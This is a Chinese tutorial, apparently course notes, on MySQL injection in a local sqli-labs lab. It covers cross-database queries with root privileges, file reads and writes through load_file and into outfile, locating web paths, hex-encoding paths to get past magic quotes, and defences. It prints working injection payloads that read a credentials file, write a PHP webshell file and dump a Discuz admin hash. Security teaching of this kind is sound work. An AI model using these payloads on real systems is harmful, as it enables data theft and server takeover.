[toc]
**前言:**MySQL 注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行 getshell 操作。其中也会遇到很多阻碍,相关防御方案也要明确,所谓知己知彼,百战不殆。不论作为攻击还是防御都需要了解其中的手法和原理,这样才是一个合格的安全工作者。

涉及知识
高权限注入及低权限注入
高权限注入和信息收集中的数据库用户直接相关,数据库用户将决定注入是否享有高权限。当前注入点是否为高权限注入点,这是写在程序后台源码当中的,比如后台在连接数据库时使用的是root用户账号和密码,或者是普通用户账号和密码。比如sqlilabs程序连接数据库部分源码如下:
1 |
|
这说明sqlilabs连接数据库时使用的是root用户账号和密码。
数据库用户类型决定操作权限
root用户
root在MySQL数据库中属于最高权限,能操作主机上的所有数据库
普通用户
除root之外其他都简称为为普通用户权限,能操作有限的一个或几个数据库
跨库操作
跨库是指由于权限高,root用户不止能够操作自己的数据库,还可以操作普通用户的数据库的行为
举例1:数据库用户类型决定操作权限
数据库A = 网站A = 数据库用户A=普通用户A——→若存在注入点,只能进行数据注入,只能查当前数据库
数据库B = 网站B = 数据库用户B=普通用户B——→若存在注入点,只能进行数据注入,只能查当前数据库
数据库C = 网站C = 数据库用户C=root用户——→若存在注入点,可进行高权限注入,可以跨库查询
这里A、B只能操作自己的数据库,而C就可以除了能够操作自己的数据库,还可以操作A、B的数据库(跨库)。
在安全测试的过程中,我们可以运用这种思想,通过获取最高权限后对其他关联数据库进行操作。
举例2:实战:若存在SQL注入漏洞的数据库用户为root,则可以跨库拿到该主机其他数据库的内容,即该主机上其他站点的数据
在同个服务器存在网站A和网站B,对网站A进行安全测试没有发现漏洞,网站B存在SQL注入漏洞,我们就可以获取到网站B的数据库内容。而且如果网站B用户为root用户,我们就间接拿到网站A对应的数据库内容。
上一节所使用的database()函数只能查当前数据库名,若要跨库查其他数据库,则需要在information_schema库的schemata表中查询其他库名(目标库名一般和目标网站名称相关联),information_schema.schemata 的列schema_name记录了所有数据库的名字。
| 表名 | 字段信息 |
|---|---|
| information_schema.schemata | 列schema_name记录了所有数据库的名字(高权限跨库查询时用来查数据库名) |
注入点的文件读写操作
MySQL文件读写操作基础
会用到MySQL数据库里两个内置函数,这两个函数是MySQL数据库特有的,在其他数据库是没有的或者在其他数据库中写法不 同,所以这是为什么说注入点分数据库的原因,因为每个数据库内置的安全机制和它的功能不同,这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。MySQL有内置读取的操作函数,我们可以调用这个函数作为注入的攻击。
在利用SQL注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个:
- into dumpfile()
- into outfile()
- load_file()
读写文件函数调用的限制
因为涉及到在服务器上写入文件,所以上述函数能否成功执行受到参数 secure_file_priv 的影响。官方文档中的描述翻译一下就是
- 其中当参数
secure_file_priv为空(即不进行设置)时,对导入导出无限制 - 当值为一个指定的目录时,只能向指定的目录导入导出
- 当值被设置为NULL时,禁止导入导出功能
这个值可以通过命令 select @@secure_file_priv 查询。由于这个参数不能动态更改,只能在mysql的配置文件中进行修改,然后重启生效。
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
load_file() 读取函数
格式
1 | load_file('文件路径及文件名') |
注意事项
读取文件并返回文件内容为字符串。
使用此函数,
- 该文件必须位于服务器主机上
- 必须指定完整路径的文件
- 必须有FILE权限
- 该文件必须被所有和它的尺寸小于
max_allowed_packet个字节可读。
如果该文件不存在或无法读取,因为前述条件之一不满足,则该函数将返回NULL。
书写文件路径注意
- 文件路径须用一对引号括起
- 文件路径中的分隔使用
/或\\,避免使用一个\产生转义
load_file()示例
读取D:/JayProgram/PHPstudy/PHPTutorial/WWW/test.txt文件内容
1 | ?id=-1' union select 1,load_file('D:/JayProgram/PHPstudy/PHPTutorial/WWW/test.txt'),3--+ |

into outfile 或 into dumpfile 导出函数
dumpfile与outfile的区别导出数据库场景下的差异
有两个值得注意的坑点
outfile函数可以导出多行,而dumpfile只能导出一行数据
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
- outfile对导出内容中的\n等特殊字符进行转义,并且在文件内容的末尾增加一个新行
- dumpfile对文件内容是原意写入,不做任何转移和增加。
outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义成',那么基本就GG了,但是load_file,后面的路径可以是单引号、0x、char转换的字符,但是路径中的斜杠是/而不是\
into outfile
格式
1 | select …… into outfile ‘文件路径’ |
注意事项
outfile对导出内容中的\n等特殊字符进行转义,并且在文件内容的末尾增加一个新行
outfile函数可以导出多行
into outfile示例
1 | ?id=-1' union select 1, 'a\nabc\nabcde' ,3 into outfile 'd:/test.txt'--+ |


into dumpfile
格式
1 | select …… into dumpfile ‘文件名’ |
注意事项
- dumpfile只能导出一行数据(一行不一定是一条)
- dumpfile对文件内容是原意写入,不做任何转义和增加。
into dumpfile示例
1 | ?id=-1' union select 1, 'a\nabc\nabcde' ,3 into dumpfile 'd:/test.txt'--+ |


==注意outfile和dumpfile在输出时的大致区别即可,先不深究。==
获取路径及读取文件列表
路径获取的常见方法
报错显示
网站报错的时候会泄漏出自己的路径(扫描工具/手动探测)
示例:

遗留文件
调试软件或者平台遗留下来的文件,经典的就是phpinfo.php(扫描工具可以扫到)
示例
搜索:iurl:phpinfo.php

可以看到网站路径为/var/www/html/
漏洞报错
知道网站是用什么cms或者框架进行搭建的,用搜索引擎去找到对应的爆路径方式,比如搜索phpcms 爆路径
就可以利用该网站相关漏洞爆出网站路径,一般访问相应的文件地址,返回的报错信息就会显示网站路径信息
平台配置文件
结合前面的读取文件操作来读取搭建网站平台的配置文件,通过默认路径去尝试找到突破口,但如果更改了默认安装路径,也是很难进行(不怎么常用)。
示例
Apache的默认配置文件目录为/usr/local/app/apache2/conf/extratpd-vhosts.conf在Apache安装目录下面的/conf/extratpd-vhosts.conf

可以看到网站目录结构。
爆破
什么信息都没办法获取到,我们运用一些常见固定的可能安装位置生成字典,对目标网站进行爆破
例如:
- windows:d:/www/root/xiaodi8/
- linux:/var/www/xiaodi8
读取文件列表——使用文件读写函数读写上述获得的文件及目录
找到路径后进行的操作,常见的就是读取文件列表
读取敏感文件(演示)
假设已经获取网站路径,读取当前网站的数据库配置文件
1 | ?id=-1' union select 1, load_file('D:\\JayProgram\\PHPstudy\\PHPTutorial\\WWW\\PenTest\\sqlilabs\\sql-connections\\db-creds.inc') ,3 --+ |

查看页面源代码可见读取的配置文件内容

写入后门文件(演示)
使用文件写入函数向指定目录写入“一句话木马”
1 | ?id=-1' union select 1, 'xxxxxxxxxxxxxxxx' ,3 into outfile 'D:/JayProgram/PHPstudy/PHPTutorial/WWW/PenTest/sqlilabs/xxx.php'--+ |

查看可见写入成功

常见读写文件问题:PHP魔术引号开关
magic_quotes_gpc开关
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,对POST、POST、__GET以及进行数据库操作的sql进行转义处理,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。防止sql注入
当magic_quotes_gpc = On时,输入数据中含**单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)**等字符,都会被加上反斜线。这些转义是必须的。
php中的magic_quotes_gpc是配置在php.ini中。
魔术引号绕过——编码或宽字节绕过
编码绕过
将要写入的目录/路径进行十六进制编码后在注入点处写入,SQL可以执行十六进制编码的SQL语句,而且由于进行了编码,magic_quotes_gpc开关不会对十六进制编码中的特定字符进行过滤。
编码绕过演示
开启magic_quotes_gpc开关
经过尝试在phpstudy中较高版本开启magic_quotes_gpc开关后访问网站会报Internal Server Error错误
需要切换PHP版本到PHP-5.2.17才可以
经过查询magic_quotes_gpc开关在高版本的PHP中已经移除。。。


注意:sqlilabs-Lesson-1的SQL语句闭合需要单引号,若开启魔术引号则无法使用编码绕过故以下演示使用sqlilabs-Lesson-2
常规文件读写操作
1 | ?id=-1 union select 1, load_file('D:\\JayProgram\\PHPstudy\\PHPTutorial\\WWW\\PenTest\\sqlilabs\\sql-connections\\db-creds.inc') ,3 |


可见输入数据中含**单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)**等字符,都被加上了反斜线,并不会执行SQL注入语句。
对SQL语句进行十六进制编码,在执行时函数参数不要加单引号,直接把不带引号的路径的十六进制结果写在参数位置上进行提交:

1 | ?id=-1 union select 1, load_file(0x443A5C5C4A617950726F6772616D5C5C50485073747564795C5C5048505475746F7269616C5C5C5757575C5C50656E546573745C5C73716C696C6162735C5C73716C2D636F6E6E656374696F6E735C5C64622D63726564732E696E63),3 |

查看页面源代码获得读取文件的内容

如果闭合需要单引号,就只能尝试宽字节了
宽字节绕过
(未讲解)
SQL注入的防护
1. 自带防御
如魔术引号
2. 内置函数
int等函数对提交内容进行检查

3. 自定义关键字
对提交的select等关键字进行替换

4. WAF防护软件
安全狗、宝塔等
防护软件一般也是对关键字进行防护、触发了WAF等安全软件规则会将数据包丢弃。
WAF绕过时也是通过各种方法避免触发关键字,打乱关键字匹配规则。
WAF绕过详细不再本节课程中。

低版本注入配合读取或暴力
低版本
mysql版本小于5.0
方法
字典
即用列名、表名字典自己去跑来获得数据库信息。
读取配合
如果当前数据库用户为root,则可以读取到当前php文件,在php文件中就有相关SQL语句,从这些SQL语句中可以得知表名、列名信息 。但是一般如果有root权限,可以直接写入后门文件获取webshell,不用读取文件信息。
一般低版本MySQL比较少见。
演示案例
普通用户及 root用户操作权限
高权限注入跨库查询操作测试
本地网站sqlilabs存在SQL注入漏洞,对注入点进行测试,先后过程如下:
测试注入点是否存在:

测试当前数据表字段数——当前数据表共有3列


测试输出显示位置——输出显示位置为第2、3列

获取数据库基本信息——当前数据库为security,当前用户为root

存在SQL注入漏洞的网站sqlilabs的数据库用户为root,为高权限用户,因此可以进行跨库查询。
在information_schema.schemata表中查询主机上所有表名:
1 | ?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+ |

这里我们选择Discuz的数据库discuz进行测试
在information_schema.tables中查询discuz库中的所有表名:
1 | -1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’discuz‘--+ |

分别为discuz_common_admincp_cmenu,
discuz_common_admincp_group,
discuz_common_admincp_member,
discuz_common_admincp_perm,
discuz_common_admincp_session,
discuz_common_admingroup,
discuz_common_adminnote,
discuz_common_advertisement,
discuz_common_advertisement_custom,
discuz_common_banned,
discuz_common_block,
discuz_common_block_favorite,
discuz_common_blo
==显然此处被截断了group_concat()已经输出最大长度,MYSQL内部对这个是有设置的,默认长度是1024==
经过搜索Discuz! 3.2 中各数据库表的作用_Frank看庐山的博客-程序员宝宝可以知道pre_common_member 是用户表,密码是随机生成记录,实际记录在UCenter。因此推测本地discuz的用户表名应该是discuz_common_member 。
在information_schema.columns中查询discuz库中的discuz_common_member表的所有列名:
1 | id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='discuz_common_member' and table_schema='discuz'--+ |

得到discuz库中的discuz_common_member表的所有列名分别是:
在数据表discuz.discuz_common_member中查询指定数据username和password,并且限制显示的数据条目数量
1 | id=-1' union select 1,username,password from discuz.discuz_common_member limit 0,1--+ |

1 | id=-1' union select 1,username,password from discuz.discuz_common_member limit 1,1--+ |

查到discuz.discuz_common_member表中只有一条数据即:username为admin,password为785abd34df1042f9d15efe598b926ebc(已被加密)。